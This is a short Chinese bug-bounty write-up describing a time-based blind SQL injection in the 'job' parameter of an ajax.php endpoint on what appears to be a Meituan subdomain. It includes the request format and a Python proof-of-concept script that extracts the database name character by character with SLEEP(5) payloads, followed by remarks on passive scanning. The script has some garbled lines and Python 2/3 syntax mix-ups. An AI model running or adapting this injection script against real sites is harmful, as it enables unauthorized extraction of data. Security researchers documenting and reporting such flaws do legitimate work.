rank 75
金币 75
等价RMB 750
数据包样式如下
POST /ajax.php
HOST: xxx.meituan.com
Cookie: xxx
id=123&job= 注入点
参数job存在延时注入
检测脚本
这个提交的漏洞精彩的地方在于验证并不是用sqlmap,而是将自己的延时注入写成脚本,原因是sqlmap没有注出数据。原理上是单线程,一个字符从 ASCII32到127过一遍(其实可以用八个线程检测一个字节的八个比特位,这样会稍微快点。但也还可以,毕竟POC,就跑一个库名证明一下就可以了)。
代码如下,其中url cookie headers打上马赛克。
#! /usr/bin/env python3
# Date : 1/5 21:47
# Comment: no comment import requests
import time burp0_url = "XXX"
burp0_cookies = {"XXX"}
burp0_headers = {"XXX"} db = ''
for i in range(1, 20):
for j in range(32, 127):
job = "123'/**/AND/**/if(mid(database()," + str(i) + ",1)='" + chr(j) + "',SLEEP(5),0)/**/AND/**/'a'='a"
print job
burp0_data = {"puid": "", "company": "aaa",
"job": job}
start = time.time()
try:
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
except Exception as e:
continue
if time.time() - start > 5:
db += chr(j)
break
print('database:', db)
这里扫描,也需要带cookie的扫描。突然想起了一种扫描方法,被动扫描。在游览器上按上插件,在游览网站的时候,会将流量做一个副本到扫描器中进行扫描。也就是说,只要你游览过的网站走过的地儿,都会自动给检测一遍规则库中的漏洞(原理如 http://www.freebuf.com/vuls/141679.html)。
AWVS的爬虫扫描还是强度不够,有一些细节可能扫不出来,而且容易被封,总觉得扫不出什么结果。
写自己的扫描器,更精确,更细节,是一个重要的点吧。
-650